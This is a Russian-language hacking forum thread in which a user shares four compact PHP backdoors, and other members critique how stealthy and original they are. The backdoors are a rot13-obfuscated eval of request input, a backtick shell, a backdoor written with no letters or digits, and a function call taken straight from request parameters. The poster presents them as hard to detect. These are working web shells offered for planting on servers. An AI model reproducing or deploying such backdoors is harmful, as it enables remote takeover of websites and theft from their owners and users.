[PHP] BackDoor's

Discussion in 'Уязвимости' started by M.Billar, 10 Apr 2015.

  1. M.Billar

    M.Billar Member

    Joined:
    24 Jul 2013
    Messages:
    84
    Likes Received:
    65
    Reputations:
    0
    1) PHP-Backdoor, который ничем не палится и при этом выглядит не палевно. Вчера придумал
    PHP:
    <?php
    @$_REQUEST['large'](str_rot13('riny($_ERDHRFG["pbqr"]);')); 
    ?>
    Могу поздравить себя с первым собственным пхп-бекдором.


    2) Используем фичу обратных кавычек. Исполняет код передаваемый в параметре = названию переменной.
    PHP:
    <?=@`$f`;
    Но тут уже минусы: нужен register_globals. Зато получился самый маленький бекдор на PHP.


    3) PHP-Backdoor, без единой буквы и цифры (не моя работа)
    PHP:
    <?php@$_[]=@!+_$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;$_[]=++$__$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];$_=$ $_[$__$__] ;$_[@-_]($_[@!+_] );?>

    4) PHP-Backdoor, спасибо тебе, типизация которой нет
    PHP:
    <?php $_REQUEST['f']($_REQUEST['c']); ?>
     
    #1 M.Billar, 10 Apr 2015
    Last edited: 10 Apr 2015
    Logan22, ww3, nikp and 3 others like this.
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    бэкдор, скорее, должен быть незаметным и сливаться с остальным кодом, чем быть самым коротким, или быть только из символов скобок. то есть всегда по ситуации
     
    _________________________
    Mister_Bert0ni likes this.
  3. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Ужасно. Практически ничего нового.

    1 способ интересен, но первый же попашийся анализатор кода спалит ваш assert со всеми потрохами.

    2 способ описан Raz0r аж в 2008 году

    http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/

    3 способ - обычная обфускация. Таких динамических бэкдоров понаделать очень просто.

    4 способ - классика. Им пользуются давно и это, наверное, самый распространённый тип бэкдора на сегодняшний день.
     
    _________________________
    ww3 likes this.
  4. M.Billar

    M.Billar Member

    Joined:
    24 Jul 2013
    Messages:
    84
    Likes Received:
    65
    Reputations:
    0
    Не против если объединю с классикой?)
    PHP:
    @$_REQUEST['large'](str_rot13('riny($_ERDHRFG["pbqr"]);'));
     
    #4 M.Billar, 10 Apr 2015
    Last edited: 10 Apr 2015
    5maks5 likes this.